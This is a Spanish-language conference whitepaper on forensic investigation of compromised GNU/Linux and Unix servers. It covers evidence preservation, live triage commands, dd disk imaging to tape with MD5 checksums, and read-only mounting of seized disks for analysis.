Análisis Forense de Sistemas

GNU/Linux, Unix - Contribución Congreso Hispalinux

Authors

David Dittrich
dittrich at cac dot washington dot edu

The Grugq
grugq at anti dash forensics dot com

Ervin Sarkisov
ervin dot sarkisov at hispalinux dot es

Resumen

Miles servidores corporativos están siendo comprometidos diariamente, Gbytes de información privilegiada se transfieren cada día por los los canales de comunicación, las corporaciones informan de miles y millones de pérdidas.

La mayoría de las investigaciones de casos similares, estén realizadas por parte de las empresas especializadas o por parte de las agencias gubernamentales, precisan un estudio forense previo para recoger todas las pruebas encontradas en los equipos y determinar los factores claves para reconstruir los hechos transcurridos, antes, durante y a posteriori del posible acceso no autorizado al sistema. Todo ese trabajo puede ser complicado por múltiples razones, siendo una analogía directa la ciencia forense tradicional en los casos criminales, dónde la escena del crimen es el servidor comprometido y cualquier equivocación o descuido puede causar la pérdida de información vital que podría desvelar algún hecho importante sobre el "la víctima", el "criminal", el "objetivo" o el "móvil".

Los intrusos permanentemente mejoran sus técnicas, sean de acceso, ocultación de pruebas o de eliminación de huellas, siendo difícil, o en algunos casos imposible de reconstruir el 100% de los eventos ocurridos. Los forenses de hace varios años tienen dificultades adaptándose a las nuevas técnicas ya que no solo son necesarios los conocimientos de la materia sino experiencia en campos que tienen bastante poco que ver con la ciencia forense - ingeniería inversa, criptografía, programación en lenguajes de bajo nivel.

Este artículo incluye descripción básica que permitirá al público general conocer el alcance y supuestos de ciencia informática forense, sus técnicas que podrán ser presentadas mejor a partir de un caso práctico de investigación. También estarán cubiertos temas como protección / des-protección de binarios cifrados bajo GNU/Linux, técnicas de realización de copias de seguridad byte por byte, sistemas de ficheros loopback y utilización de la herramienta universal del investigador forense informático TCT.

Tabla de Contenidos

1. Resumen del Whitepaper

Miles servidores corporativos están siendo comprometidos diariamente, Gbytes de información privilegiada se transfieren cada día por los los canales de comunicación, las corporaciones informan de miles y millones de pérdidas.

La mayoría de las investigaciones de casos similares, estén realizadas por parte de las empresas especializadas o por parte de las agencias gubernamentales, precisan un estudio forense previo para recoger todas las pruebas encontradas en los equipos y determinar los factores claves y reconstruir los hechos transcurridos, antes, durante y a posteriori del posible compromiso.

Todo ese trabajo puede ser complicado por múltiples factores, siendo una analogía directa la ciencia forense tradicional en los casos criminales, dónde la escena del crimen es el servidor comprometido y cualquier equivocación o descuido pueden causar la pérdida de información vital que podría desvelar algún hecho importante sobre el "la víctima", el "criminal", el "objetivo" o el "móvil".

Los intrusos permanentemente mejoran sus técnicas, sean de acceso, ocultación de pruebas o de eliminación de huellas, siendo difícil, o en algunos casos imposible de reconstruir el 100% de los eventos ocurridos. Los forenses de hace varios años tienen dificultades adaptándose a las nuevas técnicas ya que no solo son necesarios los conocimientos de la materia sino experiencia en campos que tienen bastante poco que ver con la ciencia forense - ingeniería inversa, criptografía, programación en lenguajes de bajo nivel.

El 'white paper' incluye descripción básica que permitirá al público general conocer el alcance y supuestos de ciencia informática forense, sus técnicas que podrán ser presentados mejor a partir de un caso práctico de investigación. También estarán cubiertas temas como protección / des-protección de binarios cifrados bajo GNU/Linux, técnicas de realización de copias de seguridad byte por byte, y sistemas de ficheros loopback y utilización de la herramienta universal del investigador forense informático TCT.

2. Introducción

La ciencia forense es metódica y se basa en acciones premeditadas para reunir pruebas y analizarlas. La tecnología, en caso de análisis forense en sistemas informáticos, son aplicaciones que hacen un papel importante en reunir la información y pruebas necesarias. La escena del crimen es el ordenador y la red a la cual éste está conectado.

a. Objetivos

El objetivo de un análisis forense informático es realizar un proceso de búsqueda detallada para reconstruir a través de todos los medios el log de acontecimientos que tuvieron lugar desde el momento cuando el sistema estuvo en su estado integro hasta el momento de detección de un compromiso.

Esa tarea debe ser llevada acabo con máxima cautela, asegurándose que se conserva intacta, a la mayor medida posible, la información contenida en el disco de un sistema comprometido, de forma similar que los investigadores policiales intentan mantener la escena del crimen intacta, hasta que se recogen todas las pruebas posibles.

El trabajo de un investigador forense es necesario para ofrecer un punto de partida fundamental para que los investigadores policiales, ofreciéndoles pistas sólidas, así como pruebas para su utilización posterior.

b. Alcance y Supuestos

Cada uno de los incidentes es único, por lo tanto, la involucraron de un investigador forense externo es diferente en cada caso. Algunas veces el trabajo puede estar limitado a colaborar con las agencias del gobierno como Departamento de Delitos Telemáticos de Guardia Civil y/o Brigada Investigación Tecnológica, proporcionándoles el equipo íntegro para que sea analizado en sus instalaciones y por sus expertos.

Otras veces será necesario previamente realizar una recolección de información del sistema informático: analizar ficheros log, estudiar el sistema de ficheros (FS) del equipo comprometido y reconstruir la secuencia de eventos para tener una imagen clara y global del incidente.

El análisis termina cuando el forense tiene conocimiento de como se produjo el compromiso (1), bajo que circunstancias (2), la identidad de posible/s atacador/es (3), su procedencia y origen (4), fechas de compromiso (5), objetivos del/los atacador/es (6) así como, cuando ha sido reconstruida completamente la línea temporal de los eventos (7).

Cuando un investigador forense empieza el análisis de la situación nunca sabe con lo que va a enfrentarse. Al principio puede ser que no encuentre a simple vista ninguna huella ni prueba de que el equipo ha sido comprometido, especialmente si hay un "rootkit" [1] instalado en la máquina. Puede encontrar procesos extraños ejecutándose con puertos abiertos. También es frecuente que vea una partición ocupada 100% de su capacidad, pero cuando la verifica a través de du, el sistema muestra otro porcentaje de ocupación. Puede encontrar una saturación de tráfico de red desde un host específico. Es posible encontrar aplicaciones que están consumiendo un porcentaje elevado de del CPU pero no haya ningún indicio de un programa con ese nombre en el sistema de ficheros.

Los pasos para empezar la investigación de un incidente son diferentes en cada caso. El investigador debe tomar decisiones basándose en su experiencia y el "sexto sentido" para llegar al fondo del asunto. No es necesario seguir pasos determinados, ni su orden es importante a veces.

Puede que algunos pasos básicos sean más de lo que hace falta y también puede ser que estos sean insuficientes para solucionar el problema. Los pasos básicos pueden concluir en localizar todas las huellas y eventos que se produjeron.

Y en supuestos los pasos básicos no han desvelado la situación, se debe recurrir a llevar acabo un análisis profundo o de-compilación de las aplicaciones encontradas durante la búsqueda. Estas aplicaciones pueden ser escritas totalmente desde cero y protegidas, pero en la mayoría de los casos son aplicaciones utilizadas de forma común, que circulan por la red, estén o no estén protegidas. Cuando hablamos de protección de ficheros podemos hablar sobre técnicas de confusión, ofuscación y compresión (Ver apéndice A para detalles).

c. Indicaciones

En vez de utilizar "a rajatabla" el orden de los procedimientos que fueron establecidos por otros analistas forenses, se debe considerarlos como recursos y el orden necesario en cada caso puede variar. Una vez aprendidas técnicas generales, se podrá combinarlos con la experiencia y crear sus propios trucos en un futuro. Es como ser un cocinero que utiliza el libro de recetas para preparar sus platos, y con experiencia modifica las recetas para obtener un plato único.

La persona que ha descubierto el incidente debe asegurarse que hay máxima información intacta posible para que el investigador forense pueda realizar su trabajo con éxito, ya que la información encontrada dentro del sistema registra la historia real de lo que ha sucedido.

Hay solo única cosa que es común para cada investigación forense, y no es suficiente repetirla siempre. Se debe tener a mano un cuaderno y un bolígrafo para apuntar inmediatamente todos los pasos que efectúa durante el proceso de investigación. También se debe recordar (y apuntar) que los pasos para preservar y reunir las evidencias deben ser efectuadas con lentitud, precaución, metódica y pensándolo dos veces antes de hacer cualquier cosa ya que cualquier error puede llevar consigo consecuencias como pérdida de pruebas.

Tener el cuaderno a mano puede ser necesario para refrescarle la memoria varios meses después de la investigación cuando llegue la hora de testificar en una sala de juicio (si el caso llega a estos extremos).

Las notas también ayudarán a calcular de forma más precisa las pérdidas sufridas por la empresa, evitando estimaciones exageradas que suelen producirse durante los casos criminales por parte de empresas afectadas, abogados e otros terceros.

d. Equipo Necesario

Referente a las técnicas de análisis forense descritas a continuación asumo que utiliza un sistema operativo Red Hat Linux i386 sobre cualquier motherboard compatible con Intel. Estas técnicas son casi idénticas para cualquiera de las versiones o distribuciones de GNU/Linux ó Unix, pero algunas características de i386 pueden variar de un servidor a otro (ejemplo: utilización de controladores IDE, limitaciones de PC BIOS, etc...). Consulte manuales de administración y seguridad de sistema de su distribución de GNU/Linux.

Equipo Principal - Es preciso tener un sistema dedicado, propio para poder hacer el análisis, sin tener interrupciones por procesos de otros usuarios ni estar vulnerable a los "ataques de limpieza" [2]. Un ejemplo de configuración de un laboratorio forense puede ser siguiente:

- Un equipo con i386 compatible motherboard con 2 tarjetas controladoras IDE.
- Por lo menos 2 discos duros > 8Gb. sobre el controlador IDE principal (para almacenar el sistema operativo y herramientas, más espacio para poder copiar las particiones salvadas desde la cinta, y espacio adicional para recuperar la información borrada desde discos duros).
- Un segundo controlador IDE sin utilizar. Eso significa que no deberá mezclarse con modificación de configuraciones de hardware de los discos. Simplemente enchufelos y aparecerán como /dev/hdc (master) ó /dev/hdd (slave).
- Tarjeta de interfaz SCSI (e.g., Adaptec 1542)
- Dispositivos de cinta DDS-3 ó DDS-4 4mm (necesitará bastante capacidad para almacenar información de las particiones grandes.).
- Si el sistema está conectado a una red, deberá ser perfectamente parcheado y no tener ningún servicio de red funcionando salvo SSH (para acceso remoto y transferencia de ficheros). Red Hat Linux 7.3 con Bastille Linux 2.0 BETA es muy buena opción (Combinación utilizada en el lab de Activa Link).

Equipo Móvil - Otro sistema de análisis es un nuevo portátil. El buen método de llevar el laboratorio hasta el sistema accidentado es un portátil con tarjeta eth 10/100, disco duro de más de 18 Gb - suficiente espacio que permitirá almacenar toda la información de imágenes del sistema de ficheros (estas imágenes deberían luego almacenarse en cintas) para luego analizarlas, visualizar los resultados, craquear las contraseñas crypt() del intruso que puede posiblemente encontrar, y una mochila.

Un cable 10Base-T normal y uno cruzado le permitirá conectarse con un hub, switch directamente al "cadaver" y todavía utilizar la red para comunicarse con el sistema víctima sobre una mini-red aislada de 2 estaciones de trabajo. Para ello necesitará establecer una ruta estática en la tabla de rutas para que eso funcione.

Un equipo de análisis funcionando bajo GNU/Linux será suficiente para analizar sistemas de ficheros diferentes pero soportados como por ejemplo Sun UFS. Se podrá simplemente montar el sistema de fichero emitiendo el comando mount con la opción particular (ver página man del mount).

Ejemplo:

```
[root@quest.activalink.com]# mount -r -t ufs -o ufstype=sun /dev/hdd2 /mnt
```

Otra ventaja de GNU/Linux para investigadores forenses es capacidad de "loopback", que permite montar un fichero que contiene una imagen del disco (obtenida con dd) dentro del sistema de ficheros de la estación de análisis (Ver el apéndice B para detalles).

3. Objetivos Tácticos/Estratégicos

El objetivo principal de un investigador forense es identificar a todos los sistemas controlados por el intruso, comprender los métodos utilizados para acceder a estos sistemas, los objetivos del intruso y la actividad que ha desempeñado durante su estancia dentro del sistema comprometido. La información obtenida tiene que ser compartida con el resto de los miembros del equipo forense, a fin de evitar la pérdida de información. También es el objetivo del investigador la protección del estado de sitio contra modificaciones para evitar pérdidas de información (pruebas).

Posible persecución es un objetivo secundario, pero como he dicho anteriormente, como un investigador forense su trabajo primario es preservar lo más íntegramente posible las evidencias del crimen en un estado íntegro. Eso significa poner el sistema fuera de servicio cuando todo el mundo está presionando para volver a ponerlo on-line.

Si el sistema, por parte del administrador, fue forzado a seguir funcionando, eliminando las posibles vulnerabilidades o cualquier otra supuesta vía de acceso al servidor, la investigación forense no podrá seguir el rumbo correcto ya que:

1. Se eliminaría cualquier posibilidad de persecución del intruso en un futuro ya que se modifica la "escena del crimen" y no se podría calcular los daños estimados con un grado elevado de certeza.

2. Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos) siguen teniendo acceso al sistema. Por lo tanto es mejor sufrir un "downtime" de red, mientras que se realiza el análisis forense del sistema.

Se tiene que establecer una prioridad entre:

(a) Funcionamiento inmediato, teniendo presente que las huellas dejadas por el/los intruso/s pueden haberse eliminado por descuido del administrador y su equipo, y que el servidor puede seguir teniendo puertas traseras bien ocultas. Esta opción permite estar operativo en poco tiempo.

(b) Investigación forense detallada que permite conseguir los objetivos mencionados en la sección 1a del capítulo Introducción, asegurarse 100% de que el equipo está seguro y recoger pruebas suficientes para poder iniciar el trámite legal. Esta opción supone un mayor tiempo de permanencia off-line si no existen planes de contingencia y procedimientos para el backup del servicio.

Asumiendo que el análisis es una prioridad, ¿cuáles son los siguientes pasos?

4. Congelación de la Escena del Crimen

Una vez que el Administrador del sistema tenga sospechas que indican un compromiso, y que no estén contradichas por pruebas proporcionadas por algún sistema de verificación de integridad como Tripwire, tiene que considerar que el sistema ha sido comprometido. Desde aquél momento, es necesario tener máximo cuidado para evitar que se produzca cualquier alteración de la "escena del crimen".

Hay varios tipos de pruebas que oculta el sistema, con diferentes niveles de volatilidad, en lugares como registros del procesador, estructura de datos en la memoria, swap, estructuras de datos de red, contadores, procesos de usuario en memoria y stacks, cache del file system, el file system y etc.

Será muy difícil o casi imposible de reunir toda esa información en el preciso momento que el intruso está operando, por lo tanto necesitamos prescindir de ella y reunir aquella información, que se recoge con mayor facilidad antes de llegada de un especialista forense que determinará el método de entrada, actividad de intrusos, identidad y origen de intrusos, duración de compromiso, posiblemente lo bastante para localizarles). En otras palabras ¿Cómo? ¿Qué? ¿Quién? ¿De dónde? ¿Cuando?

La opción más fácil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento.

Normalmente los sistemas Unix se cierran con el comando shutdown. Eso se hace para asegurarse que todos los servicios han finalizado de forma limpia, todos los ficheros cache y buffers de sistemas están flusheados y los usuarios están notificados. Este procedimiento es perfecto para sistemas no comprometidos, pero en un sistema afectado, esa acción, lo más seguro que borre algunas información de interés. Se produjeron casos cuando los intrusos programaban los sistemas para eliminar algunos ficheros en el sistema cuando el interfaz de red se deshabilite (cuando el cable de conexión haya sido sacado de su socket) o cuando el procedimiento de un shutdown normal haya sido activado.

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Sí, sí, lo has leído bien). Hay que estar informados que puede ser que alguna información en la memoria o información del cache no guardada en el disco puede ser eliminada como estado de red, procesos ejecutándose en la memoria, accesos a memoria kernel, contenido de registros swap, etc.

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente; ejecutar varios comandos antes de apagar de forma "bruta" el sistema. Se debe hacerlo en una sesión script (ver man del comando script).

Importante: Si el administrador no está seguro de lo que está haciendo, se debe simplemente desenchufar el sistema y ponerse en contacto con un investigador forense especializado, ya que las pruebas pueden ser dañadas con mucha facilidad.

En caso de que el administrador esté seguro de si mismo puede utilizar algunas de las herramientas que vienen a continuación, siempre con cuidado.

*last, w, who - Obtener el listado de usuarios actuales en el sistema, logins anteriores, etc.

*ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos, los home directories, directorio /dev, directorio /root, etc.

*ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (e.g., ps auxwww y ps elfwww -- añadir más flags w si el listado se acorta).

*lsof - Obtener un listado completo de descriptores de ficheros, que puede mostrar algunos backdoors, sniffers, eggdrop IRC bots, redireccionadores de puertos para VNC, etc.(Ojo con cwd, cual es el directorio local en el cual el programa ha sido ejecutado.)

*find - Identificar todos ficheros corrientes, directorios modificados desde la fecha de último acceso no autorizado, o que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque.

Importante: La utilidad find modifica el i-node "last accessed" con el timestamp actual, entonces no debe utilizar esta utilidad para barrer el sistema de ficheros, si todavía quiere saber cuales son los ficheros accedidos por el atacante si el sistema de ficheros está montado en modo lectura y escritura.

*ltrace, strace, truss (SunOS 5) - Ver últimos accesos a ficheros de configuración de "rootkit", ejemplo: Examinar el fichero /bin/ls trucado.

Ejemplo:

```
[sonne@thor.activalink.com]# truss -t open ./ls
open("/dev/zero", O_RDONLY) = 3
open("/usr/lib/libc.so.1", O_RDONLY) = 4
open("/usr/lib/libdl.so.1", O_RDONLY) = 4
open("/usr/platform/SUNW,Sun_4_75/lib/libc_psr.so.1", O_RDONLY) Err#2    ENOENT
---> open("/dev/ptyr", O_RDONLY) Err#2 ENOENT
open(".", O_RDONLY|O_NDELAY) = 3
[list of files]
```

Ver páginas man de cada una de las utilidades para conocer sus funciones.

5. Problemas con Recolección de Información

Un sistema informático no sólo puede ser instruido para auto-destruirse una vez se produzcan las condiciones de riesgo consideradas por el intruso, sino también realizar tareas programadas de eliminación, sustitución de ficheros y ejecuciones de aplicaciones determinadas.

Es muy frecuente encontrar los comandos de sistema, módulos de kernel cargables (LKM), librerías dinámicas y etc modificados o reemplazados por la voluntad del intruso. Bajo estas circunstancias eso puede obligar a que el sistema operativo "mintiese". Examinando en este caso el estado del servidor, todo aparecerá en orden, pero en realidad el sistema está totalmente comprometido con cuatro, cinco... diez diferentes "back-doors" para permitir al atacante el fácil acceso al servidor en un futuro, teniendo instalado un "root kit" [10].

Si no hay seguridad de que las utilidades comunes estén mostrando la verdadera situación, se debe de utilizar aplicaciones alternativas, módulos de kernel cargables (LKM) o librerías dinámicas, sabiendo exactamente lo que se está haciendo y estar seguro cual de las respuestas que proporciona el sistema operativo es verdadera.

Se debe cuestionar permanentemente la información que el servidor está proporcionando.
Sería aconsejable y mucho más fácil y seguro si simplemente el disco duro fuese extraído de la máquina afectada y fuese montado en modo sólo lectura en una estación de análisis similar al servidor atacado.

Se debe también considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ninguna aplicación desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio /dev. Es muy aconsejable estudiar bien la página man de la utilidad mount.

Ejemplo:

```
# mount -o ro,noexec,nodev /dev/hda1 /t
```

Si no disponemos de un equipo dedicado para el análisis, ni decidimos llevarlo por la vía oficial, pero tenemos el interés de conocer los detalles del ataque y el equipo tiene un CD-ROM, existen herramientas forenses que permiten el estudio "en situ". Un buen ejemplo de herramienta de este tipo es Biatchux [11] que permite tener de forma instantánea un entorno de análisis seguro, proporcionando copias íntegras de todos los binarios necesarios de GNU/Linux para llevar acabo la investigación. La utilización de esa técnica de investigación forense sale del entorno de este documento.

6. Almacenamiento de Pruebas

Una vez el disco ha sido sacado de la máquina, debe ser almacenado de forma segura para poder ser utilizado como prueba a posteriori en un juicio. Si no se almacena de forma correcta no será la primera vez que la investigación no pueda ser continuada o las pruebas puedan ser declaradas nulas por un juez o jurado.

Es necesario tomar notas de lo que se hace con el disco duro, y a que hora, almacenándolo en una ubicación segura como por ejemplo una caja fuerte. Es recomendable que siempre que se trabaje con el medio original esté acompañado por un colega, para que conste a los efectos legales y el testimonio pueda ser confirmado por alguien con un nivel de conocimientos similar.

Las copias deben ser hechas bit-por-bit, es decir será necesario hacer imágenes del disco. La investigación debe ser llevada sobre una copia y nunca sobre el disco original. Se debe hacer tres copias del disco duro original. Sobre todas las copias y original se debe llevar acabo una verificación criptográfica - un checksum.

Image copy es el sistema de hacer una copia exacta de una partición del dispositivo. La utilidad que nos permite hacerlo es dd (ver la página man de la utilidad, y el artículo de Thomas Rude [12]). Utilidades como tar y cpio están bien si la portabilidad es lo más importante, y dump y restore están perfectas para recuperar ficheros individuales en casos de que la consistencia de información es lo más importante.

Por supuesto, éstas utilidades tienen su sitio merecido, pero a lo que se refiere al análisis forense, lo más importante es conservación de información. Las utilidades descritos anteriormente no le permiten conservar el espacio "slack" al final de los ficheros, ni permiten conservar que es lo que exactamente contenían los bloques de los ficheros eliminados. Intrusos frecuentemente almacenan ficheros en el espacio "slack" de los archivos y borran de forma segura los archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas.

Todas las acciones realizadas durante el análisis deben ser documentadas detenidamente. Es facil hacerlo, si se utiliza el programa script, el cual toma nota de toda la entrada y salida del shell. Script marca la hora de inicio/fin del log de eventos, y usa el comando date varias veces durante la sesión para guardar tiempos intermedios.

7. Preparación para el Análisis

Esté analizando el sistema con las herramientas forenses específicas o no se debe de seguir los mismos pasos básicos siempre para prepararse para el análisis completo del sistema.

* En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo. Eso puede ser necesario como prueba del incidente en casos que posiblemente pueden acabar en una sala de juicio. En otros casos será necesario documentar los detalles de todos los componentes del sistema como valores ID de los dispositivos SCSI, por ejemplo y etc.

* Empezar haciendo apuntes detallados en el cuaderno. Teniendo bien detallados apuntes con la fecha y hora del inicio y fin de cualquier trabajo realizado será muy útil durante y al final del análisis. Es importante todos los hechos pertinentes al caso durante la preparación, recuperación y análisis de las pruebas sobre un ataque. Estas notas servirán como base para poder desarrollar un informe detallado de incidencia que se debe preparar una vez terminado el análisis. Este documento deberá servir como una prueba del incidente o compromiso. Siempre que se realiza cualquier apunte al cuaderno, el asistente debe tener completo conocimiento y entendimiento de lo que ha sido apuntado.

* Antes de apagar el sistema, será útil recoger algunos ejemplos de aquella información que posiblemente no ha sido cambiada por los intrusos, como la organización de sistema de ficheros de /etc/fstab, el nombre del host, su dirección IP del fichero /etc/hosts y información de algunos dispositivos desde los ficheros /var/log/dmesg o ficheros de log de sistema /var/log/messages. Esa información normalmente va a caber en un disco 1.44 de forma comprimida con tar.gz. Si no quiere o no puede extraer esa información en este paso, en los siguientes pasos eso será más dificil.

Ejemplo:

```
# cd /
# tar -cvzf /dev/fd0 etc/hosts etc/fstab var/log/dmesg var/log/messages
etc/hosts
etc/fstab
var/log/dmesg
var/log/messages
```

* ¡Haga 3 imágenes del disco duro entero y trabaje con copias, y no con el original! En el peor caso que tenga que trabajar con el disco original correría el riesgo de hacer una pequeña equivocación que eliminaría las huellas de forma parcial o total. El original debe ser almacenado en una caja fuerte para estar totalmente seguros que el contenido del dispositivo no esté alterado o eliminado. Para ello generaríamos verificaciones de integridad MD5, las imprimiremos en etiquetas y éstas las pegaremos en el original y en las copias. La etiqueta del original debe contener la fecha y hora de extracción del disco del sistema comprometido, y la fecha y hora de almacenamiento del disco en la caja fuerte. Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo). A continuación están detalladas todas estas tareas:

a. El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada después. Se debe tener mucho cuidado para no dañar el disco en caso de conflictos master-slave en el controlador IDE, etc. Es por ello que, insistía anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas; es decir que es muy conveniente tener un único disco duro conectado a la segunda interfaz IDE (si

tiene conectado un CD-ROM en la segunda interfaz de IDE, se debe quitar de forma temporal).

Puede ser que sea necesario modificar las opciones de detección automática de la geometría de discos en los ajustes BIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error).

b. Las particiones del disco duro deben ser identificadas con el programa fdisk. Nunca se debe utilizar fdisk en modo interactivo, ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programa i386 GNU/Linux, modelado a partir de su equivalente de DOS).
Ejemplo:

```
  # fdisk -l /dev/hdd
Disk /dev/hdd: 255 heads, 63 sectors, 1575 cylinders
  Units = cylinders of 16065 * 512 bytes
 Device Boot Start End Blocks Id System
  /dev/hdd1 * 1 869 6980211 b Win95 FAT32
  /dev/hdd2 870 1022 1228972+ 83 Linux
  /dev/hdd3 1023 1035 104422+ 82 Linux swap
  /dev/hdd4 1036 1575 4337550 83 Linux
```

A partir de este listado podemos sacar una buena conclusión que la partición /dev/hdd2 era partición root, y /dev/hdd4 era algo parecido a /usr o /home. No puede decir cual de las dos es en este paso, pero se puede ver el fichero salvado /etc/fstab, o alternativamente montarla partición y examinar su contenido.

En caso de que hayamos hecho una imagen de la partición, debemos restaurarla para su estudio posterior.

c. Se generan los checksums de integridad de particiones con MD5 del disco original y sus imágenes para verificar si coinciden.

Nota: Asumimos que tenemos un dispositivo de cinta en /dev/st0 y el dispositivo "non-rewind" está en /dev/nst0. El tamaño del bloque, normalmente 512 bytes, puede que no sea el valor más eficaz para su dispositivo de cintas. Consulte la documentación de su dispositivo y determine el factor óptimo (frecuentemente entre 8198 y 32767).

Los siguientes ejemplos utilizarán el valor por defecto para evitar complicaciones.

El comando mt se utiliza para saltar volver atrás de un fichero para luego verificar su checksum MD5. Hay que estar seguro que se utiliza dispositivo "non-rewind" ya que a la hora de saltar de una imagen de fichero a otra podríamos sobrescribir información sobre la cinta y perder información. También hay que asegurarse que no hacemos ningún error con parámetros if= y of= - opciones del comando dd ya que podrá destruir información sobre el disco con facilidad. (Ver man mt y man dd, luego practique escribiendo/leyendo múltiples ficheros a/de la cinta antes de hacer cualquier acción con los datos importantes.)
Ejemplo:

```
# date
  Mon Jun 19 12:00:22 PDT 2000
# md5sum /dev/hdd2
  7b8af7b2224f0497da808414272e7af4 /dev/hdd2
```

```
# mt status
  SCSI 2 tape drive:
  File number=0, block number=0, partition=0.
  Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
  Soft error count since last status=0
  General status bits on (41010000):
  BOT ONLINE IM_REP_EN
# dd if=/dev/hdd2 of=/dev/nst0
  2457944+0 records in
  2457944+0 records out
# mt bsf 1
# dd if=/dev/st0 | md5sum
  2457944+0 records in
  2457944+0 records out
  7b8af7b2224f0497da808414272e7af4 -
# mt status
  SCSI 2 tape drive:
  File number=1, block number=0, partition=0.
  Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
  Soft error count since last status=0
  General status bits on (81010000):
  EOF ONLINE IM_REP_EN
```

Marque la cinta y márquela con una etiqueta que contiene, nombre del sistema comprometido, particiones y correspondientes MD5, sus iniciales y la fecha.

A la hora de verificar los MD5 del disco y de la/s cintas si al menos un único byte ha sido modificado a la hora de realizar la duplicación o backup, el checksum no coincidirá. Eso puede estar causado por un sector dañado en el disco duro o en la cinta, puede que haya hecho una copia del sistema "vivo" (no montado read-only), o haya hecho la copia de una partición incorrecta.

Intente utilizar otra cinta. Pruebe también regenerar el MD5 checksum del disco/partición. Haga lo que haga no intente re-formatear, analizar, arreglar el disco original ya que todas esas acciones alterarán la información del disco.

Puede ser que necesite servicios de una empresa especializada en recuperación de datos que puede migrar en tiempo real los datos del disco y determinar que sector exactamente está dañado y arreglarlo de forma segura. Ojo, siempre que entrega una cinta/disco a las empresas de recuperación de datos, aseguren la información con una aseguradora por el valor aproximado de daños causados. Si es la cinta o el dispositivo de cinta que está fallando, pues se debe adquirir un dispositivo/cinta nuevo/a ya que no podrá seguir trabajando con hardware estropeado.

d. Si se está guardando más de una partición en la cinta, hay que asegurarse que se utiliza el dispositivo non-rewind para cada partición, entonces se usa mt rewind o simplemente se saca la cinta, lo que causará que se rebobine. Ahora es cuando debe habilitar la protección de escritura de la cinta ya que no queremos que de forma accidental se sobrescriba la información. Una vez que vuelva a meter la cinta en el dispositivo se

debe comprobar que la protección contra escritura está funcionando correctamente utilizando el comando mt. El siguiente ejemplo muestra el estado de una cinta protegida contra escritura, posicionada en el punto BOT y el primer fichero está marcado como #0.

```
# mt status
SCSI 2 tape drive:
File number=0, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (45010000):
BOT WR_PROT ONLINE IM_REP_EN
```

Mientras que el siguiente ejemplo muestra el estado de una cinta sin protección contra escritura y el fin de 2º fichero en la cinta #1, lo que es también en este caso el fin de la cinta.

```
# mt fsf 1
/dev/tape: Input/output error
# mt status
SCSI 2 tape drive:
File number=1, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (89010000):
EOF EOD ONLINE IM_REP_EN
```

e. Monte el sistema de ficheros root, pero no modifíquela de ninguna manera. Para hacerlo bien hay que montarla de modo solo lectura con opción "-r" o "-o ro". Tenemos que tener en cuenta que la pertenencia de ficheros se contará basándose en el fichero /etc/group del sistema de análisis y no del fichero group del sistema comprometido.

Ejemplo:

```
# mount -r /dev/hdd2 /mnt
# ls -lat /mnt
total 73
drwxr-x--- 17 root root 1024 May 1 09:01 root
drwxrwxrwt 6 root root 1024 May 1 04:03 tmp
drwxr-xr-x 8 root root 34816 Apr 30 04:02 dev
drwxr-xr-x 34 root root 3072 Apr 29 14:17 etc
drwxr-xr-x 2 root root 2048 Apr 26 16:52 bin
drwxr-xr-x 2 root root 1024 Apr 26 11:12 boot
drwxr-xr-x 3 root root 3072 Apr 21 04:01 sbin
drwxr-xr-x 4 root root 3072 Apr 21 03:56 lib
drwxrwxr-x 2 root root 1024 Mar 3 13:27 cdrom
drwxr-xr-x 2 root root 1024 Oct 9 1999 home
drwxr-xr-x 2 root root 12288 Oct 9 1999 lost+found
drwxr-xr-x 4 root root 1024 Oct 9 1998 mnt
```

```
drwxr-xr-x 2 root root 1024 Oct 9 1999 proc
drwxr-xr-x 20 root root 1024 Aug 2 1998 usr
drwxr-xr-x 18 root root 1024 Aug 2 1998 var
```

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa partición es de hecho la partición root ya que contiene directorios "usr", "var", "proc", "bin", "root", "etc", etc... Vemos que el directorio "home" tiene 2 enlaces, y el directorio "usr" tiene 20 enlaces (ya que por las entradas de directorios "." y ".." el número mínimo de enlaces que llevan a un directorio son 2). Todavía no sabemos que es lo que exactamente contiene la partición /dev/hdd4. Parece que posiblemente contiene el contenido del /home y no del /usr ni tampoco /var por las mismas razones.

Por supuesto para salir de dudas podemos examinar el fichero /etc/fstab.
Ejemplo:

```
# less /mnt/etc/fstab
. . .
/dev/hda1 /dosc msdos defaults 0 0
/dev/hda2 / ext2 defaults 1 1
/dev/hda4 /home ext2 defaults 1 2
/dev/hda3 swap swap defaults 0 0
/dev/cdrom /cdrom iso9660 noauto,user,ro 0 0
/dev/fd0 /floppy ext2 noauto,user,rw 0 0
none /proc proc defaults 0 0
none /dev/pts devpts mode=0622 0 0
```

Cabe tomar nota aquí que utilizamos el paginador less. Es para prevenir potencialmente insertados caracteres especiales que pueden modificar los ajustes del terminal en tty, si eso pasa el terminal es inutilizable para nosotros ya que no podemos ni leer ni escribir de forma legible. Si estuvo utilizando el programa script para logear la sesión, tendrá que salir y resetear el terminal, posiblemente olvidando de script y olvidando de los records anteriores. De todas maneras antes de salir intentaremos Ctrl+D para cerrar la sesión script.

